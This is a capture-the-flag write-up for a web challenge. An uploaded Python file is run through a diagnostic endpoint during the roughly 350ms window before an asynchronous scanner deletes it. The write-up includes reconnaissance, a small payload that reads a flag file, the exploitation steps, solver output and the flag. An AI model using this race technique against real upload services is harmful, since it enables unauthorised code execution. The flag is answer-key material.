← All scrolls
B rank
INFERNO CTF v2 · Web

Quarantined REVENGE: a pure TOCTOU race

The patched sequel: no filename leak and no extension trick. Just a TOCTOU race in the asynchronous threat pipeline.

05 Sept 20262 min readMedium
#toctou#race-condition#file-upload

Category: Web
Difficulty: Medium
Vulnerability: TOCTOU Race Condition in Asynchronous Threat Pipeline
Flag: INFERNOCTF{t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}


Challenge Card & Overview

Quarantined Revenge Challenge Box

Quarantined Revenge Overview


Background & What Changed in Revenge

In v1 of Quarantined, some players found unintended shortcuts:

  1. Filename Leakage: The /upload response directly disclosed the saved file name on disk.
  2. Double Extensions: Passing extensions like file.py.txt or file.txt.py bypassed naive validation.

In Quarantined_REVENGE:

  • /upload never reveals disk filenames—it only returns a random 16-hex file_id.
  • The diagnostic execution endpoint (/api/run/<filename>) strictly validates filenames against ^[0-9a-f]{16}\.py$, eliminating any path traversal or double-extension tricks.
  • The only possible solution is the pure TOCTOU race condition.

Reconnaissance & Discovery

2.1 robots.txt

Checking robots.txt reveals the hidden maintenance endpoint:

GET /robots.txt

User-agent: *
Allow: /
Disallow: /api/
Disallow: /api/run/
Disallow: /uploads/

2.2 Probing /api/run/<filename>

Fuzzing the execution endpoint reveals strict validation:

  • GET /api/run/test.txt -> {"error": "Invalid or unsupported script format"}
  • GET /api/run/test.py -> {"error": "Invalid or unsupported script format"}
  • GET /api/run/0123456789abcdef.txt -> {"error": "Invalid or unsupported script format"}
  • GET /api/run/0123456789abcdef.py -> {"error": "Script not found"}

Notice that only a 16-hex ID ending in .py triggers "Script not found".

2.3 Understanding the File Naming Scheme

When uploading a legitimate file (e.g. notes.txt), the server returns:

{
  "file_id": "4a7c8e9b1d2f3a5b",
  "status": "scanning",
  "success": true
}

Once the scan passes and the file appears in the dashboard, its download link is: /uploads/4a7c8e9b1d2f3a5b.txt

This confirms that uploaded files are saved as <file_id>.<ext>.


The TOCTOU Race Condition

When uploading exploit.py:

  1. The server saves the file to /app/uploads/<file_id>.py.
  2. The server responds immediately with {"file_id": "<file_id>"}.
  3. A background thread runs the ThreatShield scanner:
    • Phase 1 (100ms): Checksum calculation.
    • Phase 2 (250ms): Signature lookup.
    • Phase 3 (350ms): Extension check -> detects .py -> deletes file (os.remove).

There is a ~350ms race window where <file_id>.py exists on disk and can be executed via GET /api/run/<file_id>.py.


Exploitation

4.1 Payload

import os
for p in ['/flag.txt', '/app/flag.txt']:
    if os.path.isfile(p):
        print(open(p).read())
        break

4.2 Exploitation Flow

  1. Send POST /upload with exploit.py.
  2. Extract file_id from the JSON response.
  3. Construct the disk filename: f"{file_id}.py".
  4. Instantly trigger multiple parallel threads to send GET /api/run/<file_id>.py.
  5. Capture the flag output from stdout.

Solver Script

The solver is located in solver/solver.py.

Run the solver:

python solver/solver.py http://localhost:8889

Output:

[*] Target : http://localhost:8889
[*] Strategy: TOCTOU race on async file validation (Revenge Edition)
[*] Max attempts: 50

[~] Attempt 1/50 ...
[+] Flag captured!

    INFERNOCTF{t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}

Flag

INFERNOCTF{t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}